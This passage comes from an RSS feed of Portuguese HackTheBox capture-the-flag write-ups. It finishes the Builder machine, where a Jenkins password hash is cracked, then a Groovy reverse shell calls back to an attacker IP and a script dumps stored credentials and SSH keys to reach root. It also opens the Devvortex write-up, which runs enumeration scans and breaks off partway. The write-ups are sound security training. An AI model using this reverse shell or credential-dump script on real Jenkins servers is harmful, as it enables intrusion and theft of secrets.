    &amp;lt;io.jenkins.plugins.thememanager.ThemeUserProperty &lt;span class="nv"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"theme-manager@215.vc1ff18d67920"&lt;/span&gt;/&amp;gt;: 
      &amp;lt;passwordHash&amp;gt;#jbcrypt:&lt;span class="nv"&gt;$2a$10$UwR7BpEH&lt;/span&gt;.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a&amp;lt;/passwordHash&amp;gt;: 


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;E assim conseguimos o email &lt;code&gt;jennifer@builder.htb&lt;/code&gt; e a hash da senha do usuário &lt;code&gt;$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Vamos utilizar o john the ripper para quebrar essa hash:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# john &lt;span class="nt"&gt;-w&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt jennifer-hash                                                                   
Using default input encoding: UTF-8
Loaded 1 password &lt;span class="nb"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;bcrypt &lt;span class="o"&gt;[&lt;/span&gt;Blowfish 32/64 X3]&lt;span class="o"&gt;)&lt;/span&gt;
Cost 1 &lt;span class="o"&gt;(&lt;/span&gt;iteration count&lt;span class="o"&gt;)&lt;/span&gt; is 1024 &lt;span class="k"&gt;for &lt;/span&gt;all loaded hashes
Will run 4 OpenMP threads
Press &lt;span class="s1"&gt;'q'&lt;/span&gt; or Ctrl-C to abort, almost any other key &lt;span class="k"&gt;for &lt;/span&gt;status
princess         &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;     
1g 0:00:00:00 DONE &lt;span class="o"&gt;(&lt;/span&gt;2024-02-14 17:12&lt;span class="o"&gt;)&lt;/span&gt; 3.030g/s 109.0p/s 109.0c/s 109.0C/s 123456..liverpool
Use the &lt;span class="s2"&gt;"--show"&lt;/span&gt; option to display all of the cracked passwords reliably
Session completed. 


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Conseguimos a senha do usuário &lt;strong&gt;jennifer&lt;/strong&gt;, agora podemos logar na interface do jenkins:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fffm5jyjmwz3upsce1qik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fffm5jyjmwz3upsce1qik.png" alt="Acesso ao Jenkins"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O jenkins permite que seja executado scripts groovy através da sua interface pelo script console:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5pqbhmfw3lfphhtr3ulj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5pqbhmfw3lfphhtr3ulj.png" alt="Script console"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aqui podemos executar comandos no node do jenkins, que em nosso caso é nosso alvo. Podemos inclusive pegar um shell com o seguinte script:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

String &lt;span class="nv"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'10.10.16.25'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; int &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444&lt;span class="p"&gt;;&lt;/span&gt; String &lt;span class="nv"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'bash'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; Process &lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;new ProcessBuilder&lt;span class="o"&gt;(&lt;/span&gt;cmd&lt;span class="o"&gt;)&lt;/span&gt;.redirectErrorStream&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.start&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;Socket &lt;span class="nv"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;new Socket&lt;span class="o"&gt;(&lt;/span&gt;host,port&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;InputStream &lt;span class="nv"&gt;pi&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;p.getInputStream&lt;span class="o"&gt;()&lt;/span&gt;,pe&lt;span class="o"&gt;=&lt;/span&gt;p.getErrorStream&lt;span class="o"&gt;()&lt;/span&gt;, &lt;span class="nv"&gt;si&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s.getInputStream&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;OutputStream &lt;span class="nv"&gt;po&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;p.getOutputStream&lt;span class="o"&gt;()&lt;/span&gt;,so&lt;span class="o"&gt;=&lt;/span&gt;s.getOutputStream&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(!&lt;/span&gt;s.isClosed&lt;span class="o"&gt;()){&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;pi.available&lt;span class="o"&gt;()&amp;gt;&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;so.write&lt;span class="o"&gt;(&lt;/span&gt;pi.read&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;pe.available&lt;span class="o"&gt;()&amp;gt;&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;so.write&lt;span class="o"&gt;(&lt;/span&gt;pe.read&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;si.available&lt;span class="o"&gt;()&amp;gt;&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;po.write&lt;span class="o"&gt;(&lt;/span&gt;si.read&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;so.flush&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;po.flush&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;Thread.sleep&lt;span class="o"&gt;(&lt;/span&gt;50&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;try &lt;span class="o"&gt;{&lt;/span&gt;p.exitValue&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;catch &lt;span class="o"&gt;(&lt;/span&gt;Exception e&lt;span class="o"&gt;){}}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;p.destroy&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s.close&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Dessa forma vamos conseguir acesso somente como o usuário jenkins.&lt;br&gt;
No entanto, conforme enumeramos inicialmente existe uma credencial de sistema com o nome root. Através do groovy podemos listar todas as credenciais do jenkins com o seguinte script:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.&lt;span class="k"&gt;*&lt;/span&gt;
import com.cloudbees.plugins.credentials.&lt;span class="k"&gt;*&lt;/span&gt;
import com.cloudbees.plugins.credentials.impl.&lt;span class="k"&gt;*&lt;/span&gt;
import com.cloudbees.plugins.credentials.domains.&lt;span class="k"&gt;*&lt;/span&gt;
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl

def showRow &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; credentialType, secretId, username &lt;span class="o"&gt;=&lt;/span&gt; null, password &lt;span class="o"&gt;=&lt;/span&gt; null, description &lt;span class="o"&gt;=&lt;/span&gt; null -&amp;gt;
println&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;credentialType&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; : "&lt;/span&gt;.padLeft&lt;span class="o"&gt;(&lt;/span&gt;20&lt;span class="o"&gt;)&lt;/span&gt; + secretId?.padRight&lt;span class="o"&gt;(&lt;/span&gt;38&lt;span class="o"&gt;)&lt;/span&gt;+&lt;span class="s2"&gt;" | "&lt;/span&gt; +username?.padRight&lt;span class="o"&gt;(&lt;/span&gt;20&lt;span class="o"&gt;)&lt;/span&gt;+&lt;span class="s2"&gt;" | "&lt;/span&gt; +password?.padRight&lt;span class="o"&gt;(&lt;/span&gt;40&lt;span class="o"&gt;)&lt;/span&gt; + &lt;span class="s2"&gt;" | "&lt;/span&gt; +description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

// &lt;span class="nb"&gt;set &lt;/span&gt;Credentials domain name &lt;span class="o"&gt;(&lt;/span&gt;null means is it global&lt;span class="o"&gt;)&lt;/span&gt;
domainName &lt;span class="o"&gt;=&lt;/span&gt; null

credentialsStore &lt;span class="o"&gt;=&lt;/span&gt; Jenkins.instance.getExtensionList&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'com.cloudbees.plugins.credentials.SystemCredentialsProvider'&lt;/span&gt;&lt;span class="o"&gt;)[&lt;/span&gt;0]?.getStore&lt;span class="o"&gt;()&lt;/span&gt;
domain &lt;span class="o"&gt;=&lt;/span&gt; new Domain&lt;span class="o"&gt;(&lt;/span&gt;domainName, null, Collections.&amp;lt;DomainSpecification&amp;gt;emptyList&lt;span class="o"&gt;())&lt;/span&gt;

credentialsStore?.getCredentials&lt;span class="o"&gt;(&lt;/span&gt;domain&lt;span class="o"&gt;)&lt;/span&gt;.each&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;it instanceof UsernamePasswordCredentialsImpl&lt;span class="o"&gt;)&lt;/span&gt;
showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"user/password"&lt;/span&gt;, it.id, it.username, it.password?.getPlainText&lt;span class="o"&gt;()&lt;/span&gt;, it.description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;it instanceof BasicSSHUserPrivateKey&lt;span class="o"&gt;)&lt;/span&gt;
showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ssh priv key"&lt;/span&gt;, it.id, it.passphrase?.getPlainText&lt;span class="o"&gt;()&lt;/span&gt;, it.privateKeySource?.getPrivateKey&lt;span class="o"&gt;()&lt;/span&gt;?.getPlainText&lt;span class="o"&gt;()&lt;/span&gt;, it.description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;it instanceof StringCredentials&lt;span class="o"&gt;)&lt;/span&gt;
showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"secret text"&lt;/span&gt;, it.id, it.secret?.getPlainText&lt;span class="o"&gt;()&lt;/span&gt;, &lt;span class="s1"&gt;''&lt;/span&gt;, it.description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;it instanceof FileCredentialsImpl&lt;span class="o"&gt;)&lt;/span&gt;
showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"secret file"&lt;/span&gt;, it.id, it.content?.text, &lt;span class="s1"&gt;''&lt;/span&gt;, it.description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else
&lt;/span&gt;showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"something else"&lt;/span&gt;, it.id, &lt;span class="s1"&gt;''&lt;/span&gt;, &lt;span class="s1"&gt;''&lt;/span&gt;, &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;E assim temos uma chave privada:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9kees93cj5p49ir17eg2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9kees93cj5p49ir17eg2.png" alt="Information Leak"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vamos salvar o conteúdo em um arquivo chamado &lt;strong&gt;id_rsa_root&lt;/strong&gt; e alterar sua permissão para 600, pois chaves privadas precisam ter uma permissão mais restritiva para que serem utilizadas:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# &lt;span class="nb"&gt;chmod &lt;/span&gt;600 id_rsa_root


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Testando a chave privada como usuário root em nosso alvo conseguimos o acesso:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa_root root@10.129.244.76
Welcome to Ubuntu 22.04.3 LTS &lt;span class="o"&gt;(&lt;/span&gt;GNU/Linux 5.15.0-94-generic x86_64&lt;span class="o"&gt;)&lt;/span&gt;

 &lt;span class="k"&gt;*&lt;/span&gt; Documentation:  https://help.ubuntu.com
 &lt;span class="k"&gt;*&lt;/span&gt; Management:     https://landscape.canonical.com
 &lt;span class="k"&gt;*&lt;/span&gt; Support:        https://ubuntu.com/pro

  System information as of Wed Feb 14 10:50:05 PM UTC 2024

  System load:              0.2177734375
  Usage of /:               66.0% of 5.81GB
  Memory usage:             33%
  Swap usage:               0%
  Processes:                247
  Users logged &lt;span class="k"&gt;in&lt;/span&gt;:          0
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;docker0: 172.17.0.1
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;eth0:    10.129.244.76
  IPv6 address &lt;span class="k"&gt;for &lt;/span&gt;eth0:    dead:beef::250:56ff:fe96:9588


Expanded Security Maintenance &lt;span class="k"&gt;for &lt;/span&gt;Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: &lt;span class="nb"&gt;sudo &lt;/span&gt;pro status


Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;E assim conseguimos a root flag:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

root@builder:~# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 32K
drwx------  5 root root 4.0K Feb 14 22:47 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 18 root root 4.0K Feb  9 15:45 ..
lrwxrwxrwx  1 root root    9 Apr 27  2023 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;  1 root root 3.1K Oct 15  2021 .bashrc
drwx------  2 root root 4.0K Apr 27  2023 .cache
drwxr-xr-x  3 root root 4.0K Apr 27  2023 .local
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;  1 root root  161 Jul  9  2019 .profile
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt;  1 root root   33 Feb 14 22:47 root.txt
drwx------  2 root root 4.0K Feb  8 11:24 .ssh
root@builder:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt 
229275386e7300b9ad9425a630fa815c


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Finalizando a máquina Builder !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn8gx6beuyxxsc31rluew.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn8gx6beuyxxsc31rluew.png" alt="Pwned machine"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>jenkins</category>
      <category>vulnerabilities</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Devvortex [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sat, 27 Apr 2024 15:49:00 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-devvortex-retired-1d42</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-devvortex-retired-1d42</guid>
      <description>&lt;h3&gt;
  
  
  Hackthebox
&lt;/h3&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina do hackthebox linux de leve easy chamada &lt;strong&gt;Devvortex&lt;/strong&gt;. A máquina aborda as seguintes vulnerabilidades e técnicas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Enumeração de subdominios&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Análise e exploração de vulnerabilidade na CMS Joomla (CVE-XXX)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crackeando senhas&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privilege Escalation &lt;a href="https://github.com/advisories/GHSA-qgrc-7333-5cgx" rel="noopener noreferrer"&gt;CVE-2023-1326&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Enumeração e user flag
&lt;/h4&gt;

&lt;p&gt;Iremos iniciar realizando uma varredura no host alvo a procura de portas abertas, para isso vamos utilizar o nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.56.108
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-11-25 14:06 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.56.108
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.27s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp open  http    nginx 1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class="nb"&gt;.&lt;/span&gt;
Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;16.38 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Podemos notar que existem duas portas abertas, a 22 referente ao &lt;strong&gt;ssh&lt;/strong&gt; e a porta 80 que esta rodando um &lt;strong&gt;nginx&lt;/strong&gt; que é um servidor web e proxy reverso.&lt;/p&gt;

&lt;p&gt;Acessando o IP pela porta navegador somos redirecionados para &lt;strong&gt;&lt;a href="http://devvortex.htb" rel="noopener noreferrer"&gt;http://devvortex.htb&lt;/a&gt;&lt;/strong&gt;, vamos adicionar em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt; para conseguirmos o acesso ao mesmo.&lt;/p&gt;

&lt;p&gt;Uma vez adicionado temos a seguinte página web:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqdjaa1mjkt4rgmok7g33.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqdjaa1mjkt4rgmok7g33.png" alt="Página web" width="800" height="779"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No entanto, não encontramos nenhum vetor de exploração inicialmente. Vamos continuar o recon realizando uma enumeração de subdomínios. Para isso vamos utilizr o &lt;strong&gt;wfuzz&lt;/strong&gt; que é um fuzzing.&lt;br&gt;
O comando abaixo ira utilizar uma wordlist para buscar por subdomínios, removendo do retorno os status code &lt;strong&gt;404&lt;/strong&gt; e &lt;strong&gt;302&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/devvortex]
└─# wfuzz &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.devvortex.htb"&lt;/span&gt; &lt;span class="nt"&gt;--hc&lt;/span&gt; 404,302 &lt;span class="nt"&gt;--hw&lt;/span&gt; 356 &lt;span class="nt"&gt;-t&lt;/span&gt; 100 10.129.54.142
&lt;span class="k"&gt;********************************************************&lt;/span&gt;
&lt;span class="k"&gt;*&lt;/span&gt; Wfuzz 3.1.0 - The Web Fuzzer                         &lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;********************************************************&lt;/span&gt;

Target: http://10.129.54.142/
Total requests: 207630

&lt;span class="o"&gt;=====================================================================&lt;/span&gt;
ID           Response   Lines    Word       Chars       Payload
&lt;span class="o"&gt;=====================================================================&lt;/span&gt;

000000797:   200        501 L    1581 W     23221 Ch    &lt;span class="s2"&gt;"dev"&lt;/span&gt;

Total &lt;span class="nb"&gt;time&lt;/span&gt;: 588.6878
Processed Requests: 207630
Filtered Requests: 207629
Requests/sec.: 352.6996

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso descobrimos um novo subdomínio chamado &lt;strong&gt;dev.devvortex.htb&lt;/strong&gt;.&lt;br&gt;
Precisamos adicionar em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt; para conseguir o acesso via navegador.&lt;/p&gt;

&lt;p&gt;E ao acessar o novo subdomínio temos o seguinte conteúdo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh8ov8jmcmdfg2fxsporl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh8ov8jmcmdfg2fxsporl.png" alt="Página web do subdomínio" width="800" height="779"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O mesmo parece ser similar ao domínio principal. A fim de buscar mais informações iremos realizar uma enumeração de diretórios e endpoints utilizando desta vez o gobuster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/devvortex]
└─# gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/big.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://dev.devvortex.htb/ &lt;span class="nt"&gt;-k&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.4
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:                     http://dev.devvortex.htb/
&lt;span class="o"&gt;[&lt;/span&gt;+] Method:                  GET
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                /usr/share/wordlists/dirb/big.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Negative Status codes:   404
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.4
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2023/11/28 08:29:01 Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;directory enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/.bashrc              &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
